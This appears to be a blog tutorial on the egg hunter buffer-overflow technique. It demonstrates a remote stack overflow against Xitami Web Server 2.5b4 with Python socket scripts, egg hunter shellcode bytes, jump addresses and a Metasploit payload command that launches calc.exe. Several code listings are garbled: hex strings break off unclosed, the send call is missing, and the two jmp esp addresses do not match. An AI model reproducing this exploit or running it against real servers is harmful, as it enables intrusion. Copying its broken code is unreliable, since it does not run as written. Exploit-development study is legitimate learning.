Hunting the Egg: Egg Hunter

A bit of a background on buffer overflow to begin with. Buffer overflow occurs when a program tries to write more data into buffer than it can actually hold. This makes it to overrun and write data in un-allocated memory location. If we carefully craft the data, we can control the flow of execution and then direct towards executing arbitrary code.

To execute arbitrary code, an attacker puts his shellcode in the available buffer space. What if, the shellcode requires more space than the available space in the buffer?

This is where the egg hunter technique is useful. Egg hunter is a small piece of shellcode which searches for an actual bigger shellcode which the attacker was not able to fit-in the available buffer space and redirect execution flow to it.

The egg hunter code searches for a “EGG” which is a unique string of 8 bytes made up of combining of two “TAG”. A “TAG” is a 4 byte unique string. Usually attackers consider using string like “w00t”, “lxxl” or any other strings which is unique enough to search in memory. An “EGG” is formed by combining two “TAG” to make it more unique, so that it won’t come across itself while searching in memory. The “EGG” is placed just before the “Shellcode” and the egg hunter code is placed in the small available buffer space while exploiting the overflows.

EGG = TAG + TAG i.e (lxxl) + (lxxl)


Basic mechanism of exploiting a stack overflow using egg hunter: When stack overflow occurs at some point it overwrites the EIP register (EIP points to next instruction to be executed). Then we should make EIP point to ESP where our shellcode will be present. In some cases shellcode might be just above the ESP, in that case we need jump back and execute shellcode which is egg hunter in this case, which searches for “EGG” in the entire memory and executes actual shellcode which is next “EGG”.

Lets execute our shellcode making use of egg hunter technique. We shall use Xitami Web Server 2.5b4, which has a remote buffer overflow vulnerability. We also need Immunity debugger and plugin. The Xitami Web Server crashes if we send 72 or more bytes of data in ‘If-Modified-Since’ header.

Below is simple python code to crash the server.

import socket;

buf = "A" * 72
header = ( 'GET / HTTP/1.1\r\n' \
           'If-Modified-Since: , %s\r\n\r\n') %(buf)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("VULN-IP-ADDRESS", 80))
print "Sending Payload..."

This code crashes the server.

We now know that we have about 72 bytes of buffer space with us, which is very less to fit in our shellcode.

Add 4 more bytes of data to “buf” variable to check the EIP register is overwritten with value “BBB”.

buf += "BBBB” 


From the above screenshot it’s clear that EIP register is over written with value “B” ( i.e “42” in hex ) and sent data in the above section of the screenshot.

Now lets execute our shellcode using the egg hunter technique. We will use “NTAccessCheckAndAuditAlarm” egg hunter technique, which is of 32 bytes and easily fits in the available buffer space of 72 bytes.

Below is the hex code of the egg hunter.

hunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8"
"\x6c\x78\x78\x6c" # Tag == lxxl

We will modify our “buf” variable to fit in our hunter code.

buf = “A” * 35 #35 bytes
buf += hunter #32 bytes
buf += “A” * 5 #5 bytes
# Total 72 bytes

As we can see above,  our data is present in ESP, so next we need to place the ESP address in EIP so that we can jump to ESP and egg hunter code is present just above where ESP is pointing.

To find out “jmp esp” address in loaded modules, we will use Mona plugin in immunity debugger

!mona jmp -r esp”

returns with the ESP address.

Add ESP address to the “buf” variable.

buf += "\x7b\x46\x86\x7c" #jmp esp address

Now we will be in ESP, and we need to jump backward to the buffer to collide with our egg hunter code.

buf += "\xeb\xc4" # \xeb --> jmp \xc4 –60 bytes

As the egg hunter code executes, it hunts for the EGG in all the memory location and execute shellcode which is next to egg.

Now it is time to generate our shellcode. We will be generating a shellcode to execute calc.exe. Metasploit helps us to generate the shellcode. Make use of below command in Metasploit to generate shellcode.

msfpayload windows/exec CMD=calc.exe R | msfencode -b ‘\x00\x0A\x0D’ -t c”

Our final python program will be as below,

import socket;

hunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"

shellcode = ("\xd9\xcf\xb8\x24\xd4\x20\xaa\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"

buf = "A"*35
buf += hunter
buf += "A"*5
buf += "\x13\x44\x87\x7c" #ESP Address
buf += "\xeb\xc4" #Jump backward
buf += "lxxllxxl" + shellcode

header = ( 'GET / HTTP/1.1\r\n' \
           'If-Modified-Since: , %s\r\n\r\n') %(buf)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("VULN-IP-ADDRESS", 80))
print "Sending Payload"


There are quite a few egg hunter techniques for Win32 and Linux applications as mentioned in the skape paper.

For Linux

  1. access(2) – 39 bytes
  2. access(2) revisited – 35 bytes
  3. sigaction(2) – 30 bytes

For Windows

  1. Structured Exception Handling (SEH) – 60 bytes
  2. IsBadReadPtr – 37 bytes
  3. NtDisplayString – 32 bytes
  4. NTAccessCheckAndAuditAlarm – 32 bytes

Egg hunter technique varies on the basis of available buffer space to fit in the egg hunter code and also depends on memory searching technique in the target system. 

– Shashi Kiran